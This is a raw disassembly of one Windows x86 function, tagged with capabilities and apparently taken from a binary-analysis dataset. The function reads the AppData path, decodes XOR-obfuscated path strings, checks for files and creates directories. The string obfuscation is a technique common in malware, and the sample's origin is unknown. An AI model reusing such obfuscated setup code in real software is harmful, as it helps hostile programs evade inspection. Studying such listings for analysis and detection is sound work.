Function at 0x40e7a0
Capabilities:
Check if file exists
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x505b88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x188
push ebx
push esi
push edi
mov dword [ebp - 0x6c], ecx
push 0x104
lea eax, [ebp - 0x190]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004e14f0
add esp, 0xc
lea eax, [ebp - 0x190]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov dword [ebp - 0x1c], 0x8383b4a8
xor ecx, ecx
mov dword [ebp - 0x18], 0xbfda8090
mov dword [ebp - 0x14], 0x8b958e99
mov dword [ebp - 0x10], 0x100716f
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xe
jb 0x40e814
xor eax, eax
mov byte [ebp - 0xd], 0
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e840
sub ecx, edx
lea eax, [ebp - 0x1c]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402ae0
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 1
push eax
lea edx, [ebp - 0x190]
lea ecx, [ebp - 0x68]
call fcn.0046e530
add esp, 4
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x40e8a7
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40e89d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f5f3
push ecx
push edx
call fcn.004df511
add esp, 8
cmp dword [ebp - 0x54], 0x10
lea esi, [ebp - 0x68]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
jb 0x40e8c5
mov esi, dword [ebp - 0x68]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f5f8
test esi, esi
je 0x40f55b
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e8e7
sub ecx, edx
je 0x40f55b
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x40e924
call edi
cmp eax, 0x44
je 0x40e924
cmp eax, 0x20
je 0x40e924
cmp eax, 0x45
je 0x40e924
cmp eax, 0x24
jne 0x40f55b
push 0x5374a0
call fcn.004de823
add esp, 4
mov dword [ebp - 0x30], 0x8383b4a8
mov dword [ebp - 0x2c], 0x1008090
xor ecx, ecx
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x30], al
inc ecx
cmp ecx, 6
jb 0x40e941
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x29], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e958
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp + 0x18]
sub eax, edx
cmp eax, ecx
jb 0x40f5fe
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
jb 0x40e97f
mov eax, dword [ebp + 8]
push ecx
lea ecx, [ebp - 0x30]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x84]
call fcn.004720e0
mov byte [ebp - 4], 4
lea esi, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
jb 0x40e9ab
mov esi, dword [ebp - 0x84]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f603
test esi, esi
je 0x40ea08
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40e9d0
sub ecx, edx
je 0x40ea08
push esi
call ebx
cmp eax, 0xffffffff
jne 0x40e9f9
call edi
cmp eax, 0x44
je 0x40e9f9
cmp eax, 0x20
je 0x40e9f9
cmp eax, 0x45
je 0x40e9f9
cmp eax, 0x24
jne 0x40ea08
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x40ea38
push 0x5374a0
call fcn.004de823
add esp, 4
lea eax, [ebp - 0x84]
cmp dword [ebp - 0x70], 0x10
jb 0x40ea27
mov eax, dword [ebp - 0x84]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40f522
mov dword [ebp - 0x34], 0x9398bca8
xor ecx, ecx
mov dword [ebp - 0x30], 0x9f9f819d
mov dword [ebp - 0x2c], 0x100bfb8
nop
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0xa
jb 0x40ea50
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x29], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ea67
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x40f609
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
jb 0x40ea8e
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x34]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
call fcn.004720e0
mov byte [ebp - 4], 5
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40eab1
mov esi, dword [ebp - 0x50]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f60e
test esi, esi
je 0x40eb0a
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ead0
sub ecx, edx
je 0x40eb0a
push esi
call ebx
cmp eax, 0xffffffff
jne 0x40eaf9
call edi
cmp eax, 0x44
je 0x40eaf9
cmp eax, 0x20
je 0x40eaf9
cmp eax, 0x45
je 0x40eaf9
cmp eax, 0x24
jne 0x40eb0a
push 0x5374a0
call fcn.004de823
add esp, 4
mov bl, 1
jmp 0x40eb19
push 0x5374a0
call fcn.004de823
add esp, 4
xor bl, bl
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x40eb51
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40eb47
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f614
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x40edc5
mov dword [ebp - 0x34], 0x9398bca8
xor ecx, ecx
mov dword [ebp - 0x30], 0x9f9f819d
mov dword [ebp - 0x2c], 0x100bfb8
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x34], al
inc ecx
cmp ecx, 0xa
jb 0x40eb70
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x29], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40eb87
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x74]
sub eax, edx
cmp eax, ecx
jb 0x40f619
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
jb 0x40ebb4
mov eax, dword [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x34]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x38]
lea ecx, [ebp - 0x50]
call fcn.004720e0
mov byte [ebp - 4], 6
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40ebd7
mov esi, dword [ebp - 0x50]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f61e
test esi, esi
je 0x40ec33
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ebf5
sub ecx, edx
je 0x40ec33
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call ebx
cmp eax, 0xffffffff
jne 0x40ec24
call edi
cmp eax, 0x44
je 0x40ec24
cmp eax, 0x20
je 0x40ec24
cmp eax, 0x45
je 0x40ec24
cmp eax, 0x24
jne 0x40ec39
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x40ec63
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0x5374a0
call fcn.004de823
add esp, 4
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40ec52
mov eax, dword [ebp - 0x50]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40ed8b
sub esp, 0x18
mov byte [ebp - 0x25], 0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x38], esp
mov ecx, esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 7
xor ecx, ecx
mov dword [ebp - 0x18], 0x9398bca8
mov dword [ebp - 0x14], 0x9f9f819d
mov dword [ebp - 0x10], 0x100bfb8
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 0xa
jb 0x40ec93
sub esp, 0x18
mov byte [ebp - 0xd], 0
mov esi, esp
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x2c], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ecb2
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x40f624
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
jb 0x40ecd9
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
mov ecx, esi
call fcn.004720e0
mov cl, byte [ebp - 0x25]
mov byte [ebp - 4], 6
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x40ed09
mov eax, dword [ebp - 0x6c]
mov byte [eax], 1
jmp 0x40ed8b
cmp dword [ebp - 0x3c], 0x10
lea edx, [ebp - 0x50]
jb 0x40ed15
mov edx, dword [ebp - 0x50]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ed30
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x24]
call fcn.00402ae0
push ecx
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 8
call fcn.0040a750
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x10
jb 0x40ed8b
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40ed81
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f629
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x40edcb
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40edb9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f62e
push ecx
push edx
call fcn.004df511
add esp, 8
jmp 0x40edcb
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 0x1c], 0x9499b9a8
xor ecx, ecx
mov dword [ebp - 0x18], 0xa8da9599
mov dword [ebp - 0x14], 0x9e8c9288
mov dword [ebp - 0x10], 0x1006467
lea esp, [esp]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xe
jb 0x40edf0
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ee07
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x40f633
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
jb 0x40ee2e
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x50]
call fcn.004720e0
mov byte [ebp - 4], 9
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40ee51
mov esi, dword [ebp - 0x50]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f638
test esi, esi
je 0x40eeaa
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ee70
sub ecx, edx
je 0x40eeaa
push esi
call ebx
cmp eax, 0xffffffff
jne 0x40ee99
call edi
cmp eax, 0x44
je 0x40ee99
cmp eax, 0x20
je 0x40ee99
cmp eax, 0x45
je 0x40ee99
cmp eax, 0x24
jne 0x40eeaa
push 0x5374a0
call fcn.004de823
add esp, 4
mov bl, 1
jmp 0x40eeb9
push 0x5374a0
call fcn.004de823
add esp, 4
xor bl, bl
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x40eef1
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40eee7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f63e
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x40f175
mov dword [ebp - 0x1c], 0x9499b9a8
xor ecx, ecx
mov dword [ebp - 0x18], 0xa8da9599
mov dword [ebp - 0x14], 0x9e8c9288
mov dword [ebp - 0x10], 0x1006467
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xe
jb 0x40ef17
lea ecx, [ebp - 0x1c]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ef30
mov ebx, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x74]
mov eax, ebx
sub eax, edx
cmp eax, ecx
jb 0x40f643
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
jb 0x40ef5f
mov eax, dword [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x50]
call fcn.004720e0
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40ef82
mov esi, dword [ebp - 0x50]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f648
test esi, esi
je 0x40efdc
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40efa0
sub ecx, edx
je 0x40efdc
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40efcd
call edi
cmp eax, 0x44
je 0x40efcd
cmp eax, 0x20
je 0x40efcd
cmp eax, 0x45
je 0x40efcd
cmp eax, 0x24
jne 0x40efdc
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x40f006
push 0x5374a0
call fcn.004de823
add esp, 4
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40eff5
mov eax, dword [ebp - 0x50]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40f13b
sub esp, 0x18
mov byte [ebp - 0x25], 0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x1c], 0x9499b9a8
mov dword [ebp - 0x18], 0xa8da9599
mov dword [ebp - 0x14], 0x9e8c9288
mov dword [ebp - 0x10], 0x1006467
lea ecx, [ecx]
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xe
jb 0x40f040
sub esp, 0x18
mov byte [ebp - 0xd], 0
mov esi, esp
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x38], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f060
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x40f64e
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
jb 0x40f084
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
mov ecx, esi
call fcn.004720e0
mov cl, byte [ebp - 0x25]
mov byte [ebp - 4], 0xa
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x40f0b4
mov eax, dword [ebp - 0x6c]
mov byte [eax], 1
jmp 0x40f13b
cmp dword [ebp - 0x3c], 0x10
lea edx, [ebp - 0x50]
jb 0x40f0c0
mov edx, dword [ebp - 0x50]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f0e0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x24]
call fcn.00402ae0
push ecx
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0xc
call fcn.0040a750
mov byte [ebp - 4], 0xa
add esp, 4
mov ecx, dword [ebp - 0x10]
cmp ecx, 0x10
jb 0x40f13b
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f131
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f653
push ecx
push edx
call fcn.004df511
add esp, 8
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x40f17a
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f169
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f658
push ecx
push edx
call fcn.004df511
add esp, 8
jmp 0x40f17a
mov ebx, closesocket
mov dword [ebp - 0x1e], 0x8493a6a8
xor ecx, ecx
mov dword [ebp - 0x1a], 0x9595908b
mov dword [ebp - 0x16], 0x908aaedc
mov dword [ebp - 0x12], 0x66656072
mov word [ebp - 0xe], 0x100
mov edi, edi
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0x10
jb 0x40f1a0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f1b7
sub ecx, edx
mov eax, ebx
mov edx, dword [ebp - 0x58]
sub eax, edx
cmp eax, ecx
jb 0x40f65d
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
jb 0x40f1db
mov eax, dword [ebp - 0x68]
push ecx
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x50]
call fcn.004720e0
mov byte [ebp - 4], 0xd
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40f1fe
mov esi, dword [ebp - 0x50]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f662
test esi, esi
je 0x40f25e
mov ecx, esi
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f220
sub ecx, edx
je 0x40f25e
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f24d
call edi
cmp eax, 0x44
je 0x40f24d
cmp eax, 0x20
je 0x40f24d
cmp eax, 0x45
je 0x40f24d
cmp eax, 0x24
jne 0x40f25e
push 0x5374a0
call fcn.004de823
add esp, 4
mov bl, 1
jmp 0x40f26d
push 0x5374a0
call fcn.004de823
add esp, 4
xor bl, bl
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x40f2a5
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f29b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f668
push ecx
push edx
call fcn.004df511
add esp, 8
test bl, bl
je 0x40f522
mov dword [ebp - 0x1e], 0x8493a6a8
xor ecx, ecx
mov dword [ebp - 0x1a], 0x9595908b
mov dword [ebp - 0x16], 0x908aaedc
mov dword [ebp - 0x12], 0x66656072
mov word [ebp - 0xe], 0x100
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0x10
jb 0x40f2d1
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0xd], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f2e8
mov ebx, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x74]
mov eax, ebx
sub eax, edx
cmp eax, ecx
jb 0x40f66d
cmp dword [ebp - 0x70], 0x10
lea eax, [ebp - 0x84]
jb 0x40f317
mov eax, dword [ebp - 0x84]
push ecx
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x50]
call fcn.004720e0
mov byte [ebp - 4], 0xe
lea esi, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40f33a
mov esi, dword [ebp - 0x50]
push 0x5374a0
call fcn.004de812
add esp, 4
test eax, eax
jne 0x40f672
test esi, esi
je 0x40f394
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f358
sub ecx, edx
je 0x40f394
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x40f385
call edi
cmp eax, 0x44
je 0x40f385
cmp eax, 0x20
je 0x40f385
cmp eax, 0x45
je 0x40f385
cmp eax, 0x24
jne 0x40f394
push 0x5374a0
call fcn.004de823
add esp, 4
jmp 0x40f3be
push 0x5374a0
call fcn.004de823
add esp, 4
lea eax, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
jb 0x40f3ad
mov eax, dword [ebp - 0x50]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40f4ee
sub esp, 0x18
mov byte [ebp - 0x25], 0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x2c], esp
mov ecx, esp
push eax
call fcn.0046a770
mov byte [ebp - 4], 0xf
xor ecx, ecx
mov dword [ebp - 0x1e], 0x8493a6a8
mov dword [ebp - 0x1a], 0x9595908b
mov dword [ebp - 0x16], 0x908aaedc
mov dword [ebp - 0x12], 0x66656072
mov word [ebp - 0xe], 0x100
jmp 0x40f400
lea eax, [ecx - 0xc]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0x10
jb 0x40f400
sub esp, 0x18
mov byte [ebp - 0xd], 0
mov esi, esp
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0x38], esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f420
sub ecx, edx
mov edx, dword [ebp - 0x58]
sub ebx, edx
cmp ebx, ecx
jb 0x40f678
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
jb 0x40f442
mov eax, dword [ebp - 0x68]
push ecx
lea edi, [ebp - 0x1e]
push edi
push edx
push eax
push ecx
push dword [ebp - 0x2c]
mov ecx, esi
call fcn.004720e0
mov cl, byte [ebp - 0x25]
mov byte [ebp - 4], 0xe
call fcn.0040e150
add esp, 0x30
test eax, eax
jne 0x40f472
mov eax, dword [ebp - 0x6c]
mov byte [eax], 1
jmp 0x40f4ee
cmp dword [ebp - 0x3c], 0x10
lea edx, [ebp - 0x50]
jb 0x40f47e
mov edx, dword [ebp - 0x50]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40f497
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x24]
call fcn.00402ae0
push ecx
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x10
call fcn.0040a750
mov ecx, dword [ebp - 0x10]
add esp, 4
cmp ecx, 0x10
jb 0x40f4ee
mov edx, dword [ebp - 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f4e4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f67d
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x40f522
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f518
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f682
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0x70]
cmp ecx, 0x10
jb 0x40f568
mov edx, dword [ebp - 0x84]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f54f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f687
push ecx
push edx
call fcn.004df511
add esp, 8
jmp 0x40f568
push 0x5374a0
call fcn.004de823
add esp, 4
mov ecx, dword [ebp - 0x54]
cmp ecx, 0x10
jb 0x40f59c
mov edx, dword [ebp - 0x68]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f592
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f68c
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0xf
mov byte [ebp - 0x68], 0
cmp ecx, 0x10
jb 0x40f5e2
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40f5d8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40f68c
push ecx
push edx
call fcn.004df511
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e47b0
push eax
call fcn.004de4bb
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.004e47b0
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.004e47b0
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.004e47b0
call fcn.00402270
push eax
call fcn.004de4bb
call fcn.00402270
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
call fcn.004e47b0
int3